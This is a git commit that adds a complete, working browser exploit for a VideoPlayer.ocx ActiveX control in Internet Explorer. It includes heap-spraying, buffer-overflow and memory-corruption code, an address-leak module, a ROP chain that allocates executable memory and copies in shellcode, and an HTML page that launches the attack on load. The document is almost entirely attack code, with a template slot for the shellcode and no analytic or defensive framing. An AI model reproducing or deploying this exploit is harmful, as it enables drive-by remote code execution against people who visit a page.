Add javascript exploit
parent
036cb77dd0
commit
b5e230f838
|
@ -0,0 +1,125 @@
|
|||
var Exploit = function () {
|
||||
// create its vulnerable ActiveX object (as HTMLObjectElement)
|
||||
this.obj = document.createElement("object");
|
||||
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
|
||||
// perform controlled memwrite to 0x1111f010: typed array header is at
|
||||
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
|
||||
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
|
||||
// The first 3 dwords are sideeffects due to the code we abuse for the
|
||||
// controlled memcpy
|
||||
this.whereAddress = 0x1111f010;
|
||||
this.memory = null;
|
||||
this.addresses = new Object();
|
||||
this.sprayer = null;
|
||||
this.informer = null;
|
||||
this.sc = "<%=shellcode%>";
|
||||
};
|
||||
|
||||
Exploit.prototype.run = function() {
|
||||
this.sprayer = new Sprayer();
|
||||
this.sprayer.spray();
|
||||
|
||||
this.memory = this.doCorruption();
|
||||
|
||||
//alert(this.memory.length.toString(16))
|
||||
if (this.memory.length != 0x7fffffff){
|
||||
//alert("Cannot change Uint32Array length");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// now we could even repair the change we did with memcpy ...
|
||||
|
||||
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
|
||||
var leakSuccess = this.leakAddresses();
|
||||
|
||||
if (leakSuccess != 0) {
|
||||
//alert("Cannot leak required address to build the ROP chain");
|
||||
return leakSuccess;
|
||||
}
|
||||
|
||||
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
|
||||
ropBuilder.buildRop();
|
||||
|
||||
// manipulate object data to gain EIP control with "Play" method
|
||||
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
|
||||
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
|
||||
|
||||
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
|
||||
this.obj.Play()
|
||||
};
|
||||
|
||||
Exploit.prototype.prepareOverflow = function() {
|
||||
// prepare buffer with address we want to write to
|
||||
var ptrBuf = "";
|
||||
// fill buffer: length = relative pointer address - buffer start + pointer
|
||||
// offset
|
||||
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
|
||||
ptrBuf += this.dword2str(this.whereAddress);
|
||||
|
||||
return ptrBuf;
|
||||
};
|
||||
|
||||
Exploit.prototype.doCorruption = function() {
|
||||
var ptrBuf = this.prepareOverflow();
|
||||
|
||||
// trigger: overflow buffer and overwrite the pointer value after buffer
|
||||
this.obj.SetText(ptrBuf, 0, 0);
|
||||
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
|
||||
|
||||
// use overwritten pointer after buffer with method "SetFontName" to conduct
|
||||
// memory write. We overwrite a typed array's header length to 0x40 and let
|
||||
// its buffer point to the next typed array header at 0x1111f030 (see above)
|
||||
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
|
||||
|
||||
|
||||
if (this.sprayer.find() == -1){
|
||||
//alert("cannot find corrupted Uint32Array");
|
||||
return -1
|
||||
}
|
||||
|
||||
// modify subsequent Uint32Array to be able to RW all process memory
|
||||
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
|
||||
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
|
||||
|
||||
// our memory READWRITE interface :)
|
||||
return this.sprayer.fullMemory;
|
||||
};
|
||||
|
||||
Exploit.prototype.leakAddresses = function() {
|
||||
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
|
||||
|
||||
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
|
||||
|
||||
// check if we have the image of VideoPlayer.ocx
|
||||
// check for MZ9000 header and "Vide" string at offset 0x6a000
|
||||
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
|
||||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
|
||||
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
|
||||
return -1;
|
||||
}
|
||||
//alert(this.addresses['base'].toString(16))
|
||||
|
||||
// get VirtualAlloc from imports of VideoPlayer.ocx
|
||||
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
|
||||
// memcpy is available inside VideoPlayer.ocx
|
||||
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
|
||||
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
|
||||
|
||||
scBuf = new Uint8Array(this.sc.length);
|
||||
for (n=0; n < this.sc.length; n++){
|
||||
scBuf[n] = this.sc.charCodeAt(n);
|
||||
}
|
||||
|
||||
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
|
||||
|
||||
return 0;
|
||||
};
|
||||
|
||||
// dword to little endian string
|
||||
Exploit.prototype.dword2str = function(dword) {
|
||||
var str = "";
|
||||
for (var n=0; n < 4; n++){
|
||||
str += String.fromCharCode((dword >> 8 * n) & 0xff);
|
||||
}
|
||||
return str;
|
||||
};
|
|
@ -0,0 +1,52 @@
|
|||
var Informer = function(infArray, mem, ref) {
|
||||
this.infoLeakArray = infArray;
|
||||
this.memoryArray = mem;
|
||||
this.referenceAddress = ref;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer.ocx base
|
||||
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
|
||||
// deref heap pointer containing VideoPlayer.ocx pointer
|
||||
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
|
||||
var base = videoplayerPtr - 0x6b3b0; // calculate base
|
||||
|
||||
return base;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer object addres
|
||||
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
|
||||
return objPtr;
|
||||
};
|
||||
|
||||
// Calculate the shellcode address
|
||||
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
|
||||
this.infoLeakArray[0] = shellcodeBuffer;
|
||||
// therefore, leak array element at 0x11120020 (typed array header of
|
||||
// Uint8Array containing shellcode) ...
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
|
||||
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
|
||||
|
||||
return shellcodeAddr;
|
||||
};
|
||||
|
||||
|
||||
Informer.prototype.leakRopAddress = function(ropArray) {
|
||||
this.infoLeakArray[0] = ropArray
|
||||
// leak array element at 0x11120020 (typed array header)
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// deref array element + 0x1c (leak rop's buffer address)
|
||||
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
|
||||
|
||||
return ropAddr;
|
||||
};
|
|
@ -0,0 +1,38 @@
|
|||
var RopBuilder = function(informer, addresses, scLength) {
|
||||
this.rop = new Uint32Array(0x1000);
|
||||
this.ropAddress = informer.leakRopAddress(this.rop);
|
||||
this.base = addresses['base'];
|
||||
this.virtualAlloc = addresses['virtualAlloc'];
|
||||
this.memcpy = addresses['memcpy'];
|
||||
this.scAddr = addresses['shellcode'];
|
||||
this.scLength = scLength;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer.ocx base
|
||||
RopBuilder.prototype.buildRop = function() {
|
||||
// ROP chain (rets in comments are omitted)
|
||||
// we perform:
|
||||
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
|
||||
// memcpy(EAX, shellcode, shellcodeLen)
|
||||
// (void(*)())EAX()
|
||||
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
|
||||
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
|
||||
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
|
||||
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
|
||||
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
|
||||
this.rop[offs + 0x3] = 0; // lpAddress
|
||||
this.rop[offs + 0x4] = 0x1000; // dwSize (0x1000)
|
||||
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
|
||||
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
|
||||
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
|
||||
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
|
||||
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
|
||||
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
|
||||
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
|
||||
this.rop[offs + 0xc] = this.memcpy;
|
||||
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
|
||||
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
|
||||
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
|
||||
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
|
||||
};
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
var Sprayer = function () {
|
||||
// amount of arrays to create on the heap
|
||||
this.nrArrays = 0x1000;
|
||||
// size of data in one array block: 0xefe0 bytes =>
|
||||
// subract array header (0x20) and space for typed array headers (0x1000)
|
||||
// from 0x10000
|
||||
this.arrSize = (0x10000-0x20-0x1000)/4;
|
||||
// heap array container will hold our heap sprayed data
|
||||
this.arr = new Array(this.nrArrays);
|
||||
// use one buffer for all typed arrays
|
||||
this.intArrBuf = new ArrayBuffer(4);
|
||||
this.corruptedArray = null;
|
||||
this.corruptedArrayNext = null;
|
||||
};
|
||||
|
||||
// Spray the heap with array data blocks and subsequent typed array headers
|
||||
// of type Uint32Array
|
||||
Sprayer.prototype.spray = function() {
|
||||
var k = 0;
|
||||
while(k < this.nrArrays) {
|
||||
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
|
||||
// aligned at 0xXXXX0020)
|
||||
this.arr[k] = new Array(this.arrSize);
|
||||
|
||||
// fill remaining page (0x1000) after array data with headers of
|
||||
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
|
||||
// typed array header has the size of 0x30. 0x10 bytes are left empty
|
||||
for(var i = 0; i < 0x55; i++){
|
||||
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
|
||||
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
|
||||
}
|
||||
|
||||
// tag the array's last element
|
||||
this.arr[k][this.arrSize - 1] = 0x12121212;
|
||||
k += 1;
|
||||
}
|
||||
};
|
||||
|
||||
// Find the corrupted Uint32Array (typed array)
|
||||
Sprayer.prototype.find = function() {
|
||||
var k = 0;
|
||||
|
||||
while(k < this.nrArrays - 1) {
|
||||
for(var i = 0; i < 0x55-1; i++){
|
||||
if(this.arr[k][i][0] != 0){
|
||||
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
|
||||
// alert("0x" + arr[k][i][0].toString(16))
|
||||
this.corruptedArray = this.arr[k][i];
|
||||
this.corruptedArrayNext = this.arr[k+1];
|
||||
this.fullMemory = this.arr[k][i+1];
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
k++;
|
||||
}
|
||||
|
||||
return -1;
|
||||
};
|
|
@ -0,0 +1,11 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script src="js/exploit.js"></script>
|
||||
<script src="js/sprayer.js"></script>
|
||||
<script src="js/informer.js"></script>
|
||||
<script src="js/rop_builder.js"></script>
|
||||
</head>
|
||||
<body onload="e = new Exploit(); e.run();">
|
||||
</body>
|
||||
</html>
|
Loading…
Reference in New Issue